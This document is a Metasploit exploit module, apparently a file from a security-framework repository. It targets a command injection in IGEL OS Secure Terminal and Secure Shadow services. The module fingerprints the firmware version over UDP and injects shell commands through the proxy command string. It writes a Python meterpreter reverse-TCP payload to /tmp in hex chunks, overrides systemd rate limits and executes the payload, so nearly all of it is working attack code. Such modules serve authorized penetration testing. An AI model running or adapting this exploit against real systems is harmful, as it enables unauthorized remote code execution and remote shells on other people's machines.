Files
metasploit-gs/modules/exploits/linux/misc/igel_command_injection.rb
T
2021-03-25 14:39:23 -04:00

248 lines
7.7 KiB
Ruby

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "IGEL OS Secure VNC/Terminal Command Injection RCE",
'Description' => %q{
This module exploits a command injection vulnerability in IGEL OS Secure Terminal
and Secure Shadow services.
Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure
Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.
},
'License' => MSF_LICENSE,
'Author' => [
'Rob Vinson', # Discovery
'James Brytan', # Research and testing
'James Smith', # Research and testing
'Marisa Mack', # Research and testing
'Sergey Pashevkin', # Research and testing
'Steven Laura' # Research and testing
],
'References' => [
[ 'URL', 'https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html' ],
[ 'URL', 'https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt' ]
],
'Platform' => ['python'],
'Arch' => [ARCH_PYTHON],
'Targets' => [
[ 'Python payload',
'Arch' => ARCH_PYTHON,
'Type' => :python,
'Platform' => 'python',
'DefaultOptions' => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'}
],
],
'Privileged' => false,
'DisclosureDate' => "2021-02-25",
'DefaultTarget' => 0,
'Notes' => {
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
}
))
register_options(
[
Opt::RPORT(30022)
]
)
register_advanced_options(
[
# must enable SSL
OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true]),
]
)
end
def check
probe = '<igel_scan></igel_scan>'
begin
sock = Rex::Socket::Udp.create(
'PeerHost' => datastore['RHOST'] || rhost,
'PeerPort' => 30005,
'LocalHost' => datastore['CHOST'] || chost || "0.0.0.0",
'LocalPort' => (datastore['CPORT'] || cport || 0).to_i,
'Context' => {
'Msf' => framework,
'MsfExploit' => self
},
)
sock.put(probe)
res = sock.recvfrom(65535, 0.5)
if not res
return Exploit::CheckCode::Unknown
end
probe_response = res[0]
matches = probe_response.match(/firmwareversion=<([0-9\.]+)>/)
if not matches
return Exploit::CheckCode::Unknown
end
version = matches.captures[0]
vprint_status("IGEL OS Version: #{version}")
major, minor, patch, revision = version.split(".")
if major.to_i == 10
if minor.to_i < 6 or (minor.to_i == 6 and patch.to_i < 220)
return Exploit::CheckCode::Appears
end
elsif major.to_i == 11
if minor.to_i < 4 or (minor.to_i == 4 and patch.to_i < 270)
return Exploit::CheckCode::Appears
end
end
return Exploit::CheckCode::Safe
rescue ::Exception => e
vprint_error("Unknown err: #{e.class} #{e}")
return Exploit::CheckCode::Unknown
ensure
sock.close if sock
end
end
# execute a shell command on the target.
# cmdstr is limited to 223 characters
def exec_cmd(cmdstr)
if cmdstr.length > 223
raise ArgumentError.new("Attempted command is too large")
end
cmdfull = "#{cmdstr};false"
vprint_status("executing #{cmdfull}")
retries = 0
begin
connect
sock.put(%(PROXYCMD PW_;#{cmdfull}))
rescue ::Rex::ConnectionRefused, Errno::ECONNRESET => e
if retries < 5
retries += 1
sleep 0.5 * (2**retries)
vprint_status("retrying command - #{retries}")
retry
else
vprint_error("retries exhausted: #{e.class} #{e}")
raise e
end
rescue ::Exception => e
vprint_error("failed: #{e.class} #{e}")
raise e
ensure
disconnect
end
end
# chunks up buffer, encodes chunk as a hex string, and echos it to path one chunk at a time
def write_file(buf, path)
slice_size = (223 - %(bash -c 'echo -ne "">>#{path}').length) / 4
buf.split("").each_slice(slice_size) do |ary|
buf_part = ary.join
hex = buf_part.each_byte.map {|b| "\\x#{b.to_s(16)}"}.join
begin
exec_cmd(%(bash -c 'echo -ne "#{hex}">>#{path}'))
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
fail_with(Failure::Unreachable, "Failed writing to #{path} with error #{e}.")
rescue ::Exception => e
fail_with(Failure::Unknown, "Failed writing to #{path} with error #{e}.")
end
end
end
# somewhat arbitrary cutoff of what designates a large payload
def big_payload?
if payload.encoded.length > 1024
return true
end
return false
end
def adjust_systemd_props
# Adjust limits to keep throttling from stopping the services or otherwise
# slowing us down
svc = "vnc"
if datastore['RPORT'] == 5900
svc = "vnc"
elsif datastore['RPORT'] == 30022
svc = "telnet"
end
print_status("Overriding igel-#{svc}-ssl-connector.service StartLimitBurst")
exec_cmd(%(mkdir /etc/systemd/system/igel-#{svc}-ssl-connector.service.d))
exec_cmd(%(printf "[Service]\\nStartLimitBurst=9999\\n" > /etc/systemd/system/igel-#{svc}-ssl-connector.service.d/override.conf))
print_status("Overriding igel-#{svc}-ssl-connector.socket TriggerLimitBurst")
exec_cmd(%(mkdir /etc/systemd/system/igel-#{svc}-ssl-connector.socket.d))
exec_cmd(%(printf "[Socket]\\nTriggerLimitBurst=9999\\n" > /etc/systemd/system/igel-#{svc}-ssl-connector.socket.d/override.conf))
exec_cmd(%(systemctl daemon-reload))
end
def cleanup_systemd_props
svc = "vnc"
if datastore['RPORT'] == 5900
svc = "vnc"
elsif datastore['RPORT'] == 30022
svc = "telnet"
end
print_status("Removing override for igel-#{svc}-ssl-connector.service")
exec_cmd(%(rm /etc/systemd/system/igel-#{svc}-ssl-connector.service.d/override.conf))
print_status("Removing override for igel-#{svc}-ssl-connector.socket")
exec_cmd(%(rm /etc/systemd/system/igel-#{svc}-ssl-connector.socket.d/override.conf))
exec_cmd(%(systemctl deamon-reload))
end
def remove_file(path)
begin
exec_cmd(%(rm #{path}))
rescue
print_warning("Failed to remove file #{path}.")
end
end
def exploit
path = "/tmp/#{rand_text_alphanumeric(4)}"
if big_payload?
print_warning("The payload selected is relatively large. This could take a few minutes, be patient.")
end
adjust_systemd_props
print_status("Writing payload to file #{path}.")
write_file(payload.encoded, path)
begin
# execute python payload. systemd-run is used to prevent systemd from killing
# the resulting processes
print_status("Executing payload #{path}.")
exec_cmd(%(/usr/bin/systemd-run --scope bash -c "python #{path}"))
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
fail_with(Failure::Unreachable, "Failed executing payload with error #{e}.")
rescue ::Exception => e
fail_with(Failure::Unknown, "Failed executing payload with error #{e}.")
end
print_status("Removing payload file #{path}.")
remove_file(path)
cleanup_systemd_props
end
end